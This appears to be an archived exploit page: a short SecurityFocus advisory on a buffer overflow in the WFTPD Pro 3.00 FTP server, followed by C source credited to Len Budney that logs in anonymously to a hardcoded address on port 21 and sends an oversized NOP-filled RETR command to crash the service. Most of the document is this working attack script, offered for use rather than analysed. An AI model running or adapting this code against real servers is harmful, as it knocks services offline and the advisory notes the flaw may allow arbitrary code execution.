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54 lines
No EOL
2.2 KiB
C
54 lines
No EOL
2.2 KiB
C
// source: https://www.securityfocus.com/bid/2644/info
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Invalid long strings submitted using either 'RETR' or 'CWD' commands to a host running WFTPD server, will result in the service terminating due to a buffer overflow. It may be possible for an attacker to execute arbitrary code through this vulnerability.
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A restart of the server is required in order to gain normal functionality.
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This vulnerability has been reported to exist on systems running Windows NT 4.0 with either SP3, SP4, or SP6 installed.
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The problem exists due to the interaction between WFTPD.EXE and the Windows function call 'NTDLL.DLL:RtlFreeHeap()'.
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/* WFTPD Pro 3.00 R4 Buffer Overflow exploit
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written by Len Budney
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*/
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#include <stdio.h>
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#include <unistd.h>
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <netinet/in.h>
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#include <errno.h>
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#define BUFSIZE 32774
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#define CMD "RETR " /* Alt: use "CWD " and set OFFSET to 4. */
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#define OFFSET 5
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void main(){
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int sockfd, s;
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struct sockaddr_in victim;
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char buffer[BUFSIZE];
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char exploitbuffer[BUFSIZE]={CMD};
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char recvbuffer[BUFSIZE];
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sockfd=socket(AF_INET,SOCK_STREAM,0); if(sockfd == -1)perror("socket");
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victim.sin_family=AF_INET;
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victim.sin_addr.s_addr=inet_addr("192.168.197.129");
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victim.sin_port=htons(21);
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s=connect(sockfd, (struct sockaddr*) &victim, sizeof(victim));
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if(s == -1) perror("connect");
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recv(sockfd, recvbuffer, sizeof (recvbuffer),0);
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memset(recvbuffer, '\0',sizeof(recvbuffer));
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send(sockfd, "USER anonymous\r\n",strlen ("USER anonymous\r\n"),0);
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recv(sockfd, recvbuffer, sizeof (recvbuffer),0);
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memset(recvbuffer, '\0',sizeof(recvbuffer));
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send(sockfd, "PASS\r\n",strlen ("PASS\r\n"),0);
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recv(sockfd, recvbuffer, sizeof (recvbuffer),0);
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memset(recvbuffer, '\0',sizeof(recvbuffer));
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memset(exploitbuffer+OFFSET,0x90,sizeof (exploitbuffer)-OFFSET-2);
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sprintf(buffer,"%s\r\n",exploitbuffer);
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send(sockfd, buffer , sizeof(buffer),0);
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recv(sockfd, recvbuffer, sizeof (recvbuffer),0);
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close(sockfd);
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_exit(0);
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} |